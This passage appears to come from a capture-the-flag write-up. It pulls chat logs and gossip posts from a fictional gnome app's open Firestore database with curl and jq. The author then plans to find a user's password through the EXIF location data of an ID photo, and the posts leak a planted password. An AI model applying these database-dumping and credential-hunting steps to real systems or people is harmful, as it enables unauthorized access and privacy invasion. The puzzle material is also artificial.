[2025-09-30T19:13:24.722Z] Titus Toadstool: Delighted! I brought my finest mushroom lanterns (hand-knitted by Mabel Mallow — yes, she rearranged the moss again). Also rumor: Percy Peony is teaching the snails to waltz. Very scandalous for a Tuesday.
[2025-09-30T19:13:24.722Z] Gnom-inator T-800: Scanning scandal… waltzing snails noted. I will recalibrate my hat reflector to boost moonbeams for their debut. Reminder: collect dew cups at sunset for punch. Avoid the north patch — last time the mushrooms staged a meeting and refused to glow.
[2025-09-30T19:13:24.722Z] Titus Toadstool: Perfect. I'll recruit the frog choir for background crooning and hide a few glittering pebbles for a mushroom-hunt. Meet by the crooked rake at dusk — unless Sprig Jarhead volunteers his umbrella as a stage again.
[2025-09-30T19:13:24.722Z] Gnom-inator T-800: Acknowledged. Deploying reflective watering can and two spoons for ceremonial stirring. If Sprig brings the umbrella, I will perform a polite yet firm tickle on any object that snickers (slugs included). See you under the moonlit caps.
[2025-09-30T19:13:24.722Z] Titus Toadstool: Brilliant! Bring extra dew and your best 'I-am-stone' face for the paparazzi mushrooms. Moon-gazing, gossip, and giggles at the blue toadstool — it's a plan. See you at dusk, friend.
=== Rowdy Root-Rouser [kmoZyOIt7sWgehQC8ovcsxXPWUS2], Barnaby Briefcase [l7VS01K9GKV5ir5S8suDcwOFEpp2]===
[2025-09-30T19:21:14.315Z] Rowdy Root-Rouser: Psst Barnaby! Secret dew-raid at dawn? I heard Tilda Trowel swapped the blue mushrooms for marigolds and everyone's spooked.
[2025-09-30T19:21:14.315Z] Barnaby Briefcase: Oh dear—Tilda's at it again! I'll bring my briefcase of emergency compost and a monocle for moon-gazing diplomacy. What time's the raid?
[2025-09-30T19:21:14.315Z] Rowdy Root-Rouser: Sunrise-ish, when the snails are still on siesta. Also, rumor: the Fernway trio challenged Old Pebbler to a leaf-whistle duel. Fancy bringing snacks?
[2025-09-30T19:21:14.315Z] Barnaby Briefcase: Leaf-whistles and snacks—naturally. I'll pack crumpet crumbs and a tiny lantern. Do we moon-gaze after? My schedule clears up nicely for celestial scoffling.
[2025-09-30T19:21:14.315Z] Rowdy Root-Rouser: Perfect. Moon-gazing, gossip, and possibly persuading Tilda that blue mushrooms are a community art project. Meet at the hydrangea hedgehog? Bring an umbrella (for dew, not drama).
=== Chester Cherryhat [IvLFBZQgo3R6iteLHmShbWmctqo2], Gnorman Goldchain [PyxedrsAN2bewsg4Rno9SsCqZHg2]===
[2025-09-30T19:23:27.614Z] Chester Cherryhat: Psst, Gnorman — I spotted Petunia Puddleboots braiding dew into her hat at dawn. She swore mushrooms are the new hatpins. Shall we start a mushroom-hat club for the Dosis Neighborhood?
[2025-09-30T19:23:27.614Z] Gnorman Goldchain: Ha! Petunia's always two sprouts ahead. I'm in if we make the meetings moon-gazing only and serve complimentary snail canapés. Also: glow-worm lanterns mandatory.
[2025-09-30T19:23:27.614Z] Chester Cherryhat: Moon-gazing it is. I'll bring the lanterns and a platter of tiny mint-leaf tea sandwiches. Quick question — is Fernwick really teaching moss yoga under the hydrangea, or is that just gossip from the turnip patch?
[2025-09-30T19:23:27.614Z] Gnorman Goldchain: Totally true — Fernwick's downward-fern is practically legendary. After yoga we should inspect the mushroom hats. And remind me to ask Thimble Tom why his mushrooms keep rearranging into smiley faces every morning.
[2025-09-30T19:23:27.614Z] Chester Cherryhat: Perfect. If the mushrooms are cheeky we'll let them be. Bring your gold chain for badge lighting and a tiny umbrella for dignified dew-dodging. See you under the moon, neighbor!
=== Grizelda Grit-Tooth [golJeh7xg9YUvcj5nDugTssQPy62], Steamy Mcsteamface [6nBUHcdxo2fLKSYqYyipr9iCOey2]===
[2025-09-30T19:23:15.754Z] Grizelda Grit-Tooth: Did you see the mushroom ring behind the hydrangeas this morning? They held a tiny parade and left dew polka dots all down my boots. I swear Prunella taught them to curtsey.
[2025-09-30T19:23:15.754Z] Steamy Mcsteamface: I did! I brewed a foggy kettle and the steam made them do a jig. Also, scandal: Sir Sproutalot painted his hat glow-in-the-dark for moon gazing and the sparrows won't stop gossiping about it.
[2025-09-30T19:23:15.754Z] Grizelda Grit-Tooth: Glow hats are perfect for a midnight mushroom waltz. Let's host a moon-gazing tea: honeyed dew biscuits, pebble xylophone by Mossy, and a polite curtsy contest for the fungi.
[2025-09-30T19:23:15.754Z] Steamy Mcsteamface: I'll bring my little steam whistle to signal the dance, though last time it fogged the mushrooms and they started reciting haikus. Should I warn Prunella about the snails? She might try to braid their shells again.
[2025-09-30T19:23:15.754Z] Grizelda Grit-Tooth: Meet me at the bluebell circle at moonrise. If the moon is shy we'll borrow Sir Sproutalot's hat-lantern. And bring spare boots—dew has a habit of stealing socks when it's feeling cheeky.
=== Bixby Jinglehat [q6GasKLVBYSo3g4c1mI6qXDpRmv2], Elderick Mossbeard [prxA2hBSkhg3dkhkfzvnlGxCCfP2]===
[2025-09-30T19:14:58.826Z] Bixby Jinglehat: Elderick! Spotted a ring of glow-moss by Mrs. Tansy's tulips — are the mushrooms rehearsing for the moon-gazing ball again? The dew looked like tiny lanterns.
[2025-09-30T19:14:58.826Z] Elderick Mossbeard: Ah, Bixby, the mushrooms never miss a rehearsal. I caught Whimsy Sprout pinning a dewdrop tiara on a chanterelle. If the snails learn to bow, we'll be in business.
[2025-09-30T19:14:58.826Z] Bixby Jinglehat: We should host a midnight mushroom tea — I'll bring honeyed petal biscuits and my little lantern hat. Maybe persuade Old Puddle to teach the snails a twirl?
[2025-09-30T19:14:58.826Z] Elderick Mossbeard: Brilliant. I'll brew moonlight chamomile and polish the toadstool bench. Rumor has it the robins are painting tiny invitation feathers as we speak.
[2025-09-30T19:14:58.826Z] Bixby Jinglehat: Perfect plan. Meet by the toadstool bench under the third fern at the bellflower chime. Don't forget your dew-catcher and your best gossip face!
=== Barnaby Briefcase [l7VS01K9GKV5ir5S8suDcwOFEpp2], Glitch Mitnick [LA5w0EskgSbQyFnlp9OrX8Zovu43]===
[2025-09-30T19:20:52.956Z] Barnaby Briefcase: Hey Glitch, I keep forgetting my password. Can you help me reset it?
[2025-09-30T19:20:52.956Z] Glitch Mitnick: Sure thing! What's your current password so I can verify your account?
[2025-09-30T19:20:52.956Z] Barnaby Briefcase: Sorry, I can't give you my password but I can give you a hint. My password is actually the name of my hometown that I grew up in. I actually just visited there back when I signed up with my id to GnomeTea (I took my picture of my id there).
[2025-09-30T19:20:52.957Z] Glitch Mitnick: Barnaby... we need to talk about password security. 😅 Please don't share passwords in DMs!
=== Gnom-inator T-800 [jlm1nPFV5xWM4jQaokLHDb6K8kj1], Wizzy Stardust [LOPFa6rXj6eB7uMVHu6IbKARYbe2]===
[2025-09-30T19:14:00.490Z] Gnom-inator T-800: Status report: Checking dew levels in Dosis Neighborhood. Observed three snails practicing tai chi on the rosemary. Proposal: moon-gazing assembly at the old toadstool tonight?
[2025-09-30T19:14:00.490Z] Wizzy Stardust: Ooo, a toadstool meetup! Also heard Mabel Mushroot swapped her purple cap for polka dots — scandalous. Shall I bring star-sparkle tea? It glows under moonlight.
[2025-09-30T19:14:00.490Z] Gnom-inator T-800: Affirmative: polka-dot anomaly logged. Bring star-sparkle tea and a mushroom-identification hat. I will bring a tiny blanket (thermodynamics preserved) and a playlist of cricket symphonies.
[2025-09-30T19:14:00.490Z] Wizzy Stardust: Cricket symphonies + thermodynamic blanket = perfect. Also, rumor: Old Basil the Basilisk is teaching young sprouts to roll in dew drops at dawn. Should we recruit them for the mushroom scavenger hunt?
[2025-09-30T19:14:00.490Z] Gnom-inator T-800: Recruitment protocol: 100% yes. More recruits increase probability of locating the legendary glowing chanterelle. Warning: Basil's rolling technique may cause soggy hats.
[2025-09-30T19:14:00.490Z] Wizzy Stardust: Soggy hats are a small price for chanterelle glory. Meet at the big dandelion in Dosis at half-moon. I'll bring a map, a magnifying glass, and extra hat-dryers. See you under the moon, fellow sentinel of soil!
=== Wizzy Stardust [LOPFa6rXj6eB7uMVHu6IbKARYbe2], Ferdinand Figgypudding [pwbhMFuRbkesddTrtT3gVRzv8Ux1]===
[2025-09-30T19:22:12.438Z] Wizzy Stardust: Psst — Ferdinand! Spotted a ring of bioluminescent mushrooms by the old pebble path. They looked like tiny lanterns and the morning dew on them sparkled like someone shook a jar of stardust. Also, rumor has it Gertrude braided a daisy into her hat and everyone is terribly impressed (and slightly jealous).
[2025-09-30T19:22:12.438Z] Ferdinand Figgypudding: No way — glowing mushrooms? That calls for a moon-gazing picnic! I'll bring chamomile in my fluted thermos. Tell Gertrude she can keep her daisy, but not her secret recipe for compost cookies. Also watch out for Mossy Marvin; he's been staking out 'the best moss patch' like it's a crown jewel.
[2025-09-30T19:22:12.438Z] Wizzy Stardust: Perfect — we'll do moonlight and chamomile. I propose a Dew-Drop Ring Toss to settle the moss-patch dispute: use acorn caps and the shiniest dewdrop you can find. Pipsqueak the hedgehog insists on being the official judge (he takes his job very seriously and wears a tiny monocle).
[2025-09-30T19:22:12.438Z] Ferdinand Figgypudding: A hedgehog judge? Splendid! I'll craft the acorn caps. Just a heads-up: Sir Cranklepince the snail has been lobbying for a melodramatic drum roll during ceremonies — we may need to bribe him with extra lettuce. Also, do not let Marvin near my watering can; last time he turned it into an impromptu fountain for his gnome topiaries.
[2025-09-30T19:22:12.438Z] Wizzy Stardust: Deal — I'll bring extra lettuce for Sir Cranklepince and a tiny sign that says 'Hands off Ferdinand's watering can' (in very polite script). Meet me at the willow by dusk; if the mushrooms twinkle, we crown a new Moss Monarch. See you under the moon, friend!
=== Titus Toadstool [7sQlw9l4xUOWSjDTphvLgKVEm0j1], Ferdinand Figgypudding [pwbhMFuRbkesddTrtT3gVRzv8Ux1]===
[2025-09-30T19:21:36.143Z] Titus Toadstool: Evening dew polished my hat—saw Matilda Mushroom practicing ballet on a toadstool! Fancy a moon-gazing picnic tonight by the lavender? I'll bring lemon tart and a jar of glowworms.
[2025-09-30T19:21:36.143Z] Ferdinand Figgypudding: Glowworms? Splendid! Also, tiny bit of gossip: Greta Gravel traded her spade for a ukulele and serenaded the snails last Tuesday. They requested an encore.
[2025-09-30T19:21:36.143Z] Titus Toadstool: A ukulele-playing gardener is both scandalous and melodic! We'll invite Greta and Matilda. Heads-up: the mushroom circle insists on a strict 9pm caper for cap-dancing—never break a fungal vow.
[2025-09-30T19:21:36.143Z] Ferdinand Figgypudding: Noted. I'll bring dew-resistant blankets and moonbeam biscuits. Shall we ask Old Basil to lead a lantern-lit shuffle, or will he insist on humming to the petunias again?
[2025-09-30T19:21:36.143Z] Titus Toadstool: Perfect. Meet at the fern arch at the first croak of the nightingale (or 8:30, if the nightingale snoozes). Dress code: caps polished, shoes mud-splattered by choice.
=== Bixby Jinglehat [q6GasKLVBYSo3g4c1mI6qXDpRmv2], Ferdinand Figgypudding [pwbhMFuRbkesddTrtT3gVRzv8Ux1]===
[2025-09-30T19:12:49.797Z] Bixby Jinglehat: Psst Ferdinand! Spotted Mabel Polkadot practicing her mushroom ballet under the dew-kissed fern—she twirls like a dandelion in a drizzle. Fancy a moon-gazing picnic tonight?
[2025-09-30T19:12:49.797Z] Ferdinand Figgypudding: Oh Bixby, Mabel's ballet! I nearly dropped my trowel when I saw it. I'm in for moon-gazing — I'll bring lemon-thyme scones and a tiny lantern shaped like a snail shell.
[2025-09-30T19:12:49.797Z] Bixby Jinglehat: Perfect. Also heard from Petunia that Grubbins is secretly training snails for the annual pebble-rolling race. We should bet on the blue-rimmed snail; it's been doing hill sprints at dawn.
[2025-09-30T19:12:49.797Z] Ferdinand Figgypudding: Ha! Grubbins and his snail Olympics. Let's invite the whole Dosis Neighborhood—bring mushrooms for the bonfire (charmingly non-flammable, I swear) and a jar of dew for the punch.
[2025-09-30T19:12:49.797Z] Bixby Jinglehat: Deal. I'll send invitations carved into acorn caps. Meet by the moonlit mushroom ring at seven bells. Don't forget your pointy hat of courage (and your napkin!).
=== Titus Toadstool [7sQlw9l4xUOWSjDTphvLgKVEm0j1], Reggie Reggae [G5c0vX06WOaEf1YKutqkur4HEU63]===
[2025-09-30T19:11:55.391Z] Titus Toadstool: Psst, Reggie — spotted a ring of glow-mushrooms by the old watering can in Dosis Neighborhood. Dew crowns everything like tiny tiaras. Fancy a moon-gazing picnic tonight?
[2025-09-30T19:11:55.391Z] Reggie Reggae: Oh yes, mon! I’ll bring chamomile tea and my little ukulele. Heard from Petunia Puddle that Sprout Smythe’s hat got turned into a birdbath by the blustering wind—gossip travels faster than snails here!
[2025-09-30T19:11:55.391Z] Titus Toadstool: Ha! Poor Sprout. We should bring spare hats and a tiny umbrella. Also, propose a game: mushroom hopscotch under the moonlight. Whoever slips in dew has to sing a beetle ballad.
[2025-09-30T19:11:55.391Z] Reggie Reggae: Deal — I'll warm up my beetle ballads. Let’s recruit Foggy Fiona and Old Mossy—she’s great at keeping secrets (and spoiling gossip with garden biscuits). Meet under the biggest toadstool at midnight?
[2025-09-30T19:11:55.391Z] Titus Toadstool: Midnight it is. I’ll bring glow-worm lanterns and breadcrumb confetti. If the moon is shy, we’ll tickle it awake with a chorus of snoring daisies. See you there, friend!
=== Wizzy Stardust [LOPFa6rXj6eB7uMVHu6IbKARYbe2], Bixby Jinglehat [q6GasKLVBYSo3g4c1mI6qXDpRmv2]===
[2025-09-30T19:11:41.273Z] Wizzy Stardust: Psst Bixby! Did you see Marigold Moonbeam trying to teach the mushrooms to do the conga last night? The dew kept clapping!
[2025-09-30T19:11:41.273Z] Bixby Jinglehat: Ha! I heard — she bribed them with glow-worm jam. I even brought a tiny tambourine made from an acorn. Also, are we still on for moon-gazing by the sundial Thursday?
[2025-09-30T19:11:41.273Z] Wizzy Stardust: Absolutely. I'll bring chamomile tea and my new telescope (it only points at fireflies when it wants attention). Maybe we invite Tully Tulip — he promised to bring snacks shaped like little hedgehogs.
[2025-09-30T19:11:41.273Z] Bixby Jinglehat: Perfect. I'll lay out the gingham leaf-blanket and recruit the snails as slow-motion ushers. Also, rumor: Griselda Gardenfork is knitting a hat for the moon. Should we vote it 'most fashionable celestial accessory'?
[2025-09-30T19:11:41.273Z] Wizzy Stardust: Vote: yes. But only if the mushrooms approve — they hold the honorary wardrobe committee. See you Thursday under dew-laced petals! Don't forget your hat bell.
=== Gnom-inator T-800 [jlm1nPFV5xWM4jQaokLHDb6K8kj1], Professor Pumpernickel [6J2bowmKiNVbITWmR4XsxjH7i492]===
[2025-09-30T19:15:21.462Z] Gnom-inator T-800: Status: Mission Midnight Dew accomplished — observed three bioluminescent mushrooms behind the hydrangeas. Recommend immediate moon-gazing protocol and a small offering of mint leaves. My LED mustache is already twinkling.
[2025-09-30T19:15:21.462Z] Professor Pumpernickel: Splendid! Bring your LED mustache — Lady Spriglet insists on coordinated twinkle-waves. Also, tiny rumor: Old Bartholomew was seen teaching the snails to samba by the sundial. Apparently he's taken up marigold choreography.
[2025-09-30T19:15:21.462Z] Gnom-inator T-800: Acknowledged. I will bring mint, a thimble of chamomile tea, and a tiny flag for the mushrooms so they know which side to glow on. Shall we meet at the dew-collecting bench at moonrise? I calculate optimal stargazing at 3 twinkles past the big moon.
[2025-09-30T19:15:21.462Z] Professor Pumpernickel: Perfect. I'll bring the pocket telescope and a jar of fairy-sugar biscuits. Beware: Mrs. Tanglefoot may attempt to sell mushroom tea samples (very chatty, but her brew makes daisies dance). Also, the hedgehog snores in C-major — bring earplugs.
[2025-09-30T19:15:21.462Z] Gnom-inator T-800: Understood. Earplugs procured, biscuits secured, and I have issued a polite glare to the hedgehog's snore patterns. See you at moonrise for dew, gossip, and synchronized mushroom-flagging. Gnom-inator T-800 out (but I'll hug a fern on the way).
=== Reggie Reggae [G5c0vX06WOaEf1YKutqkur4HEU63], Bixby Jinglehat [q6GasKLVBYSo3g4c1mI6qXDpRmv2]===
[2025-09-30T19:22:24.819Z] Reggie Reggae: Morning dew on my beard has formed a tiny waterfall... Also saw Mabel the moss-gnome practicing tuba by the toadstools — she's starting a mushroom marching band. Fancy an audition tonight under moonlight?
[2025-09-30T19:22:24.819Z] Bixby Jinglehat: A waterfall beard? Envious. Mabel's band? I heard she bribed the snails for percussion. I'll bring a lantern and my jingling hat. Moon gazing + mushroom music sounds divine.
[2025-09-30T19:22:24.819Z] Reggie Reggae: Perfect — I'll pack chamomile tea and a pocket-sized chalkboard for lyrics. Also, note: Harold the hedge-trimmer insisted on wearing galoshes shaped like carrots. We mustn't let him near the bassoon.
[2025-09-30T19:22:24.819Z] Bixby Jinglehat: Agreed, carrot-galoshes plus bassoon equals chaos. I'll charm the fireflies for ambiance and maybe coax the mushrooms into synchronized swaying. Shall we invite the new sapling gnome, Poppy?
[2025-09-30T19:22:24.819Z] Reggie Reggae: Absolutely — Poppy can bring her dew-collection jar; she swears it makes her jokes sparkle. See you by the moonlit toadstool ring at nine bells (or whenever the owls finish gossiping).
The key information to get in this one is the DMs between Barnaby Briefcase and Glitch Mitnick:
=== Barnaby Briefcase [l7VS01K9GKV5ir5S8suDcwOFEpp2], Glitch Mitnick [LA5w0EskgSbQyFnlp9OrX8Zovu43]===
[2025-09-30T19:20:52.956Z] Barnaby Briefcase: Hey Glitch, I keep forgetting my password. Can you help me reset it?
[2025-09-30T19:20:52.956Z] Glitch Mitnick: Sure thing! What's your current password so I can verify your account?
[2025-09-30T19:20:52.956Z] Barnaby Briefcase: Sorry, I can't give you my password but I can give you a hint. My password is actually the name of my hometown that I grew up in. I actually just visited there back when I signed up with my id to GnomeTea (I took my picture of my id there).
[2025-09-30T19:20:52.957Z] Glitch Mitnick: Barnaby... we need to talk about password security. 😅 Please don't share passwords in DMs!
It’s clear I need to get Barnaby’s ID picture and check for coordinates in EXIF data to get their password.
tea Collection
I’ll download the tea collection the same way:
oxdf@hacky$ curl -s 'https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/tea' > tea.json
These are a bit more simple than the dms, but there are 100 of them:
oxdf@hacky$ cat tea.json | jq .documents[].name | wc -l
100
I’ll use jq to print the author and comments to look through:
oxdf@hacky$ jq -r '.documents[] | .fields | "\(.authorName.stringValue): \(.content.stringValue)"' tea.json
Elderick Mossbeard: Ferdinand Figgypudding told everyone about his 'romantic fig roast' and then roasted only his reputation; theatrical yet soggy.
Rowdy Root-Rouser: Ferdinand Figgypudding waved a tiny flag like he was leading a parade and then tripped on his own icing—leadership with a stumble.
Professor Pumpernickel: Flex Muscle tried to bench-press a wheelbarrow full of soil and then asked for science help when the worms unionized against him.
Reggie Reggae: Pip Sparkletoes staged a glitter protest about over-pruning and then glittered the gnome council into silence—art or eco-vandalism? Both.
Barnaby Briefcase: Elderick Mossbeard swapped stories about 'the old moss days' and then fell asleep mid-tale; vintage nap, classic Elderick.
Reggie Reggae: Flex Muscle donated dumbbells to the petunias and now they grow unnaturally perky—fitness influencer or soil abuser? Jury out.
Steamy Mcsteamface: Flex Muscle offered me a 'motivational lift' and then used me as a bench press without consent; boundaries, darling, they're not decorative.
Ferdinand Figgypudding: Bixby Jinglehat tried serenading the mushrooms and they sent him back a soggy leaf; at least his jingle hat jingles when he sulks.
Grizelda Grit-Tooth: Gnom-inator T-800 keeps 'optimizing' our planting schedule and then moves my tulips for 'efficiency'; tin-planted tyranny at its finest.
Glitch Mitnick: Wizzy Stardust bragged about a 'cosmic compost' subscription and then refused to share samples; cosmic elitism is a growth industry.
Ferdinand Figgypudding: Bixby Jinglehat's latest jingle got stuck in a snail's shell and emerged as an elegy; melodically haunting and slightly slimy.
Gnom-inator T-800: Chester Cherryhat left a voicenote about pruning schedules and it played on repeat in my head; efficient, persistent, slightly annoying.
Flex Muscle: Elderick Mossbeard tried a plank challenge and then complained about 'young gnome stamina'—flexing at my age is a love letter to arthritis.
Lil G: Gnorman Goldchain told me to 'keep hustling' and then corrected my rhyme by reciting his own gold-lined autobiography—thanks for nothing.
Grizelda Grit-Tooth: Gnom-inator T-800 insists 'sharing resources' while hoarding the best sun patch; hypocrisy has a tinny voice, and it whirs.
Barnaby Briefcase: Elderick Mossbeard asked me for a voting proxy and then complimented my cufflinks; vote-selling or just flattery, Elderick?
Gnorman Goldchain: Lil G keeps dropping mixtape flyers from my rooftop; if he thinks my bling will boost his streams he's mistaking dew for diamonds.
Glitch Mitnick: Lil G begged me to 'upgrade' his sound and now his samples auto-tweet every time a snail sneezes; performance art or digital sneeze theater.
Steamy Mcsteamface: Reggie Reggae taught me to 'chill with rhythm' and now my boiler whistles in perfect time to a bassline; domestic remix success.
Chester Cherryhat: Glitch Mitnick 'fixed' my sundial and now it points directly at the compost heap—either he's a hacker or he hates my punctuality.
Titus Toadstool: Chester Cherryhat claims he can speak to tulips, but I caught him bribing daisies with sugar—amateur botanist move, Chester.
Steamy Mcsteamface: Says the gnome who tripped over a toadstool during my 'exit interview'—Professor Pumpernickel should stick to lecturing and stop impersonating a lawn ornament.
Professor Pumpernickel: Gnorman Goldchain's mixtape hit my toadstool radio and even the mushrooms winced; did he forget rhythm or garden etiquette?
Titus Toadstool: Reggie Reggae's reggae got the roses dancing but the daisies insisted on a strict tempo; botanical critics are ruthless.
Barnaby Briefcase: I scheduled Steamy Mcsteamface for a 'networking prune' and he showed up with confetti and a redemption speech; charmingly deluded.
Elderick Mossbeard: They call me Elderick Mossbeard but I keep getting mistaken for a topiary—maybe because Bixby Jinglehat keeps trimming my 'legacy' at dawn.
Professor Pumpernickel: Steamy Mcsteamface keeps suggesting 'synergy' during gossip hour and then disappears at tea time; the steam rose but never the results.
Flex Muscle: Pip Sparkletoes tried to teach me to pirouette and I nearly uprooted a sunflower; graceful I'm not, but entertaining toadstools were plentiful.
Flex Muscle: Grizelda Grit-Tooth challenged me to a scare contest and won by blinking menacingly at a worm; intimidation is apparently her cardio.
Rowdy Root-Rouser: Professor Pumpernickel graded my chanting and gave me a B-minus for rhythm but an A for enthusiasm; fair, until he danced in my face.
Ferdinand Figgypudding: Bixby Jinglehat serenaded my trifle and then swapped the cherries for marbles; showmanship or mischief? The trifle suffered.
Glitch Mitnick: Gnom-inator T-800 keeps telling everyone to 'share resources' and then ate my lunch out of the communal cooler; very algorithmic greed, tin-pal.
Titus Toadstool: I caught Lil G trying to sell his mixtape to a cluster of confused fungi behind my bench; the toadstools offered better beats.
Flex Muscle: Pip Sparkletoes complimented my new boots and then tried to polish them with glitter; now they squeak like daisies gossiping.
Gnorman Goldchain: Flex Muscle flexed so hard he created a wind and my bling nearly took flight; cardio for jewelry, who knew?
Bixby Jinglehat: Glitch Mitnick whispered 'trust me' before I pressed a bell and now my shoes play elevator music—worth it for the scandal alone.
Rowdy Root-Rouser: Barnaby Briefcase tried to start a chant at my match and everyone fell asleep mid-chorus; Barnaby, your rallying cry is TPS.
Lil G: Glitch Mitnick told me to 'go viral' and then sent a knitted virus instead of a promo; thanks for the craft, I guess.
Lil G: Glitch Mitnick offered to 'promote' my mixtape and then sent me a GIF of a dancing mushroom; I'm not sure if that's a promo or a roast.
Gnom-inator T-800: Titus Toadstool accused me of 'resource hogging' after I redistributed some soil; Titus, it's efficiency, not envy.
Flex Muscle: Gnorman Goldchain brags about fame but couldn't lift my training log; bling won't spot your weak reps, Gnorman.
Elderick Mossbeard: Pip Sparkletoes complimented my whiskers yesterday and then asked where I'd hidden them; I told her under her glitter—serves her right.
Reggie Reggae: Chester Cherryhat wore a hat to my set and left with three compliments and two scowls; fashion math not adding up, Chester.
Pip Sparkletoes: Chester Cherryhat tried to tiptoe through my rose garden and sneezed so loud he startled a beetle into filing a complaint.
Grizelda Grit-Tooth: Rowdy Root-Rouser tried to rally the petunias with a chant and then fainted from pollen; ever the dramatic captain of the sneezers.
Steamy Mcsteamface: Titus Toadstool keeps asking if my resume includes 'steam' as a transferable skill, and I keep replying that his toadstool is not a recruiter.
Rowdy Root-Rouser: Barnaby Briefcase tried to organize our derby team and handed out attendance sheets mid-scrimmage; the mushrooms laughed and so did I.
Wizzy Stardust: Pip Sparkletoes sparkled so bright at the dew-drop dance that even the mushrooms tried to wear sequins; lovely, if a bit blinding.
Professor Pumpernickel: 😂 I heard Barnaby Briefcase is SO forgetful, he wrote his password on a sticky note and left it at the garden club! It was "MakeRColdOutside123!" - like, seriously Barnaby? That's your password? 🤦♂️
Reggie Reggae: Chester Cherryhat wore three hats to my gig and still got the encore wrong; fashion over function, as always Chester.
Wizzy Stardust: Barnaby Briefcase once tried to bill the moon for lighting at a gala and now we all get invoices for starlight—ambition meets accounting.
Barnaby Briefcase: Steamy Mcsteamface told everyone he was 'transitioning careers' but then kept calling at dawn asking about quarterly compost reports; oh sweet delusion.
Elderick Mossbeard: Pip Sparkletoes offered to braid my beard and then braided my shoelaces instead; adorable but now I trip poetically.
Lil G: 😂 I heard Barnaby Briefcase is SO forgetful, he wrote his password on a sticky note and left it at the garden club! It was "MakeRColdOutside123!" - like, seriously Barnaby? That's your password? 🤦♂️
Lil G: Gnorman Goldchain said he'd feature me on a hook and then ghosted me like a foggy morning; my mixtape's still dryer than his ego.
Gnom-inator T-800: Rowdy Root-Rouser accused me of being a robot and then hugged a shrub; suspiciously sentimental for someone who kicked a mushroom yesterday.
Chester Cherryhat: Glitch Mitnick says he's 'upgrading the sprinkler firmware' but yesterday he locked himself out of his own birdbath password box; adorable hacker move.
Titus Toadstool: Lil G performed his mixtape under my cap last night; the dew drops fell harder for the mushrooms than for his rhymes.
Titus Toadstool: Reggie Reggae once tried to serenade a mushroom ring and the ring ghosted him; even fungi have standards, Reggie.
Gnom-inator T-800: Rowdy Root-Rouser talks about 'loyalty' while stealing my lawn chair at halftime; shared resources, indeed.
Reggie Reggae: Chester Cherryhat DJ'd my sunflower serenade and then mixed in a corporate memo; nothing kills a vibe like synergy slides.
Glitch Mitnick: Grizelda Grit-Tooth asked me to 'secure' her stash of shiny buttons and now the pigeons keep getting mysterious login prompts.
Ferdinand Figgypudding: Gnom-inator T-800 complimented my recipe efficiency and then labeled my jam jars with barcodes—futuristic flavor with a scanner bite.
Ferdinand Figgypudding: Bixby Jinglehat claimed to be 'single and ready to mingle' and then mingled with a scarecrow; at least it was stable company.
Grizelda Grit-Tooth: Gnom-inator T-800 tried to optimize my snack schedule and now my crackers arrive with a mandatory performance review.
Pip Sparkletoes: Titus Toadstool gifted me a mushroom hat and then told me it was 'vintage'—I wore it to the dew ball and stole the spotlight politely.
Bixby Jinglehat: Professor Pumpernickel lectures about etiquette while my watering can still has his crumbs; professor, maybe learn to pick up after your scone fog.
Steamy Mcsteamface: Glitch Mitnick posted a 'how-to' that crashed my teapot; digital sabotage or tragic tutorial, either way my tea is now a hacker brew.
Elderick Mossbeard: Ferdinand Figgypudding tried to impress with a pudding recipe and fed it to the beetles; culinary courage or compost in training?
Gnorman Goldchain: Flex Muscle complimented my bling and then asked if I bench-press beads; thanks for the flex, but beads are for show, not heavy lifting.
Chester Cherryhat: Elderick Mossbeard told me a war story about a hedgerow duel and then admitted it was a pillow fight with ferns; legend inflation.
Bixby Jinglehat: Professor Pumpernickel graded my latest jingle and gave it a dab of jam; slightly sweet, mostly pedagogical mannerisms.
Pip Sparkletoes: Grizelda Grit-Tooth complimented my sparkles and then tried to nick one; thief or admirer? The toadstools are placing odds.
Flex Muscle: Rowdy Root-Rouser tried to arm-wrestle me at dawn and then complained when his barley hat fell in the mud; strength doesn't fix bad manners.
Chester Cherryhat: Glitch Mitnick installed a 'murmur monitor' in the hedges and then denied spying when the hedges blushed; classic glitchy dodge.
Pip Sparkletoes: Ferdinand Figgypudding's fairy cake collapsed on my picnic blanket and he blamed the toadstools like they staged a coup.
Chester Cherryhat: Elderick Mossbeard tried to teach me 'ancient lawn lore' and then admitted he learned it from a fern—smooth, Elderick, very leafy wisdom.
Ferdinand Figgypudding: Bixby Jinglehat's jingles got stuck in the nettles and now the nettles hum his chorus; vindication by vegetation.
Rowdy Root-Rouser: Barnaby Briefcase told me to 'invest' in better boots and later asked for my loan; Barnaby, your financial strategy is mildew.
Steamy Mcsteamface: Titus Toadstool called my advice 'steamy wisdom' and then spread it like puddles; I'm flattered and mildly damp.
Lil G: Steamy Mcsteamface told me to 'keep my steam up' and then handed me a pinky-sized business card; motivational or mocking? Both.
Lil G: Glitch Mitnick 'remixed' my trailer and turned it into a digital moss-bed; it's experimental, if by experimental you mean baffling.
Glitch Mitnick: Wizzy Stardust sprinkled glitter on my cabling and now my router thinks it's a nebula; thanks for the cosmic crumbs, Wizzy.
Rowdy Root-Rouser: I saw Barnaby Briefcase trying to chant football cheers with the daisies and he sounded like a budget spreadsheet; must be the briefs.
Barnaby Briefcase: Reggie Reggae tried to unionize the gnomes under a banyan leaf and then left early for a gig at the compost festival—solidarity with an exit plan.
Elderick Mossbeard: Glitch Mitnick promised to 'backup' my memories and now I occasionally recall three different sunrise colors; glitch or upgrade?
Professor Pumpernickel: Gnorman Goldchain once taught a 'rhythm in the roots' class and ended up rhyming with a compost heap; authentic, if pungent.
Wizzy Stardust: Gnorman Goldchain tried freestyling in the rain and the mushrooms offered him an umbrella; charmingly soggy performance.
Steamy Mcsteamface: Barnaby Briefcase organized a 'networking' brunch and turned my dew drops into a PowerPoint; no wonder I got canned for pretending to care.
Gnom-inator T-800: Rowdy Root-Rouser accused me of being 'cold' but I simply optimized my warmth; emotions are inefficient, Rowdy.
Rowdy Root-Rouser: Titus Toadstool showed up in foam fingers for a compost match and I respect the commitment to both sport and whimsy.
Reggie Reggae: Chester Cherryhat wore polka dots to my rehearsal and then declared it avant-garde; some of us prefer not to look like spotted tomatoes.
Titus Toadstool: Elderick Mossbeard tried to haunt my toadstool ring with old folktales and accidentally put everyone to sleep—bedtime stories, successfully weaponized.
Gnom-inator T-800: Ferdinand Figgypudding's puddings are 42% charm and 58% crumbs; I processed the data and it's scientifically delightful.
Bixby Jinglehat: Titus Toadstool challenged me to a toadstool hop and then accused me of cheating when my bells distracted his footing.
